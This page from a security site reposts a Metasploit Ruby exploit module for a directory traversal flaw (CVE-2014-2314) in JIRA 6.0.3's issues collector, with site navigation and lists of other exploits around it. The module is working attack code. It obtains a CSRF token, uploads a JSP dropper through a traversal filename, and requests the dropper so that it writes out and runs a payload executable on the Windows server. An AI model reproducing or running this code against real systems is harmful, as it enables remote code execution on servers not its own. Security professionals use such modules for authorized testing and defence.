首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
JIRA Issues Collector Directory Traversal
来源:metasploit.com 作者:vazquez 发布时间:2014-04-08  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'JIRA Issues Collector Directory Traversal',
      'Description' => %q{
        This module exploits a directory traversal flaw in JIRA 6.0.3. The vulnerability exists
        in the issues collector code, while handling attachments provided by the user. It can be
        exploited in Windows environments to get remote code execution. This module has been tested
        successfully on JIRA 6.0.3 with Windows 2003 SP2 Server.
      },
      'Author'       =>
        [
          'Philippe Arteau', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2014-2314'],
          [ 'OSVDB', '103807' ],
          [ 'BID', '65849' ],
          [ 'URL', 'https://confluence.atlassian.com/display/JIRA/JIRA+Security+Advisory+2014-02-26' ],
          [ 'URL', 'http://blog.h3xstream.com/2014/02/jira-path-traversal-explained.html' ]
        ],
      'Privileged'  => true,
      'Platform'    => 'win',
      'Targets'     =>
        [
          [ 'Jira 6.0.3 / Windows 2003 SP2',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 26 2014'))
  
    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'Path to JIRA', '/']),
        OptInt.new('COLLECTOR', [true, 'Collector ID'])
      ], self.class)
  
    register_advanced_options(
      [
        # By default C:\Program Files\Atlassian\JIRA\atlassian-jira\QhVRutsh.jsp
        OptString.new('JIRA_PATH', [true, 'Path to the JIRA web folder from the Atlassian installation directory', "JIRA\\atlassian-jira"]),
        # By default file written to C:\Program Files\Atlassian\Application Data\JIRA\caches\tmp_attachments\$random_\, we want to traversal until 'Atlassian'
        OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 6])
      ], self.class)
  end
  
  def get_upload_token
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, "rest", "collectors", "1.0", "tempattachment", datastore['COLLECTOR']),
        'method' => 'POST',
        'data'   => rand_text_alpha(10 + rand(10)),
        'vars_get' =>
          {
            'filename' => rand_text_alpha(10 + rand(10))
          }
      })
  
    if res and res.code == 500 and res.body =~ /"token":"(.*)"}/
      csrf_token = $1
      @cookie = res.get_cookies
    else
      csrf_token = ""
    end
  
    return csrf_token
  end
  
  def upload_file(filename, contents, csrf_token)
    traversal = "..\\" * datastore['TRAVERSAL_DEPTH']
    traversal << datastore['JIRA_PATH']
  
    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, "rest", "collectors", "1.0", "tempattachment", datastore['COLLECTOR']),
        'method' => 'POST',
        'data'   => contents,
        'cookie' => @cookie,
        'ctype'  => 'text/plain',
        'vars_get' =>
          {
            'filename' => "#{traversal}\\#{filename}",
            'atl_token' => csrf_token
          }
      })
  
    if res and res.code == 201 and res.body =~ /\{"name":".*#{filename}"/
      register_files_for_cleanup("..\\..\\#{datastore['JIRA_PATH']}\\#{filename}")
      register_files_for_cleanup("..\\..\\#{datastore['JIRA_PATH']}\\#{@exe_filename}")
      return true
    else
      print_error("#{peer} - Upload failed...")
      return false
    end
  end
  
  def upload_and_run_jsp(filename, contents)
    print_status("#{peer} - Getting a valid CSRF token...")
    csrf_token = get_upload_token
    fail_with(Failure::Unknown, "#{peer} - Unable to find the CSRF token") if csrf_token.empty?
  
    print_status("#{peer} - Exploiting traversal to upload JSP dropper...")
    upload_file(filename, contents, csrf_token)
  
    print_status("#{peer} - Executing the dropper...")
    send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, filename),
        'method' => 'GET'
      })
  end
  
  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'login.jsp'),
    })
  
    if res and res.code == 200 and res.body =~ /<meta name="application-name" content="JIRA" data-name="jira" data-version="([0-9\.]*)">/
      version = $1
    else
      return Exploit::CheckCode::Unknown
    end
  
    if version <= "6.0.3"
      return Exploit::CheckCode::Detected
    end
  
    return Exploit::CheckCode::Safe
  end
  
  def exploit
    print_status("#{peer} - Generating EXE...")
    exe = payload.encoded_exe
    @exe_filename = Rex::Text.rand_text_alpha(8) + ".exe"
  
    print_status("#{peer} - Generating JSP dropper...")
    dropper = jsp_drop_and_execute(exe, @exe_filename)
    dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp"
  
    print_status("#{peer} - Uploading and running JSP dropper...")
    upload_and_run_jsp(dropper_filename, dropper)
  end
  
  # This should probably go in a mixin (by egypt)
  def jsp_drop_bin(bin_data, output_file)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
  
    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
  
    jspraw << %Q|int numbytes = data.length();\n|
  
    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
    jspraw << %Q|{\n|
    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
    jspraw << %Q|  comb <<= 4;\n|
    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
    jspraw << %Q|}\n|
  
    jspraw << %Q|outputstream.write(bytes);\n|
    jspraw << %Q|outputstream.close();\n|
    jspraw << %Q|%>\n|
  
    jspraw
  end
  
  def jsp_execute_command(command)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|try {\n|
    jspraw << %Q|  Runtime.getRuntime().exec("chmod +x #{command}");\n|
    jspraw << %Q|} catch (IOException ioe) { }\n|
    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
    jspraw << %Q|%>\n|
  
    jspraw
  end
  
  def jsp_drop_and_execute(bin_data, output_file)
    jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linksys E-Series TheMoon Remot
·ibstat $PATH Privilege Escalat
·Kyocera FS5250 Cross Site Scri
·MA Lighting Technology grandMA
·Google Voice Private/Unknown N
·PhonerLite 2.14 SIP Soft Phone
·MacOSX 10.9.2/XNU HFS Hard Lin
·Fritz!Box Webcm Unauthenticate
·AudioCoder 0.8.29 - Memory Cor
·WinRAR Filename Spoofing
·Fitnesse Wiki Remote Command E
·BlazeDVD Pro Player 6.1 - Stac
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved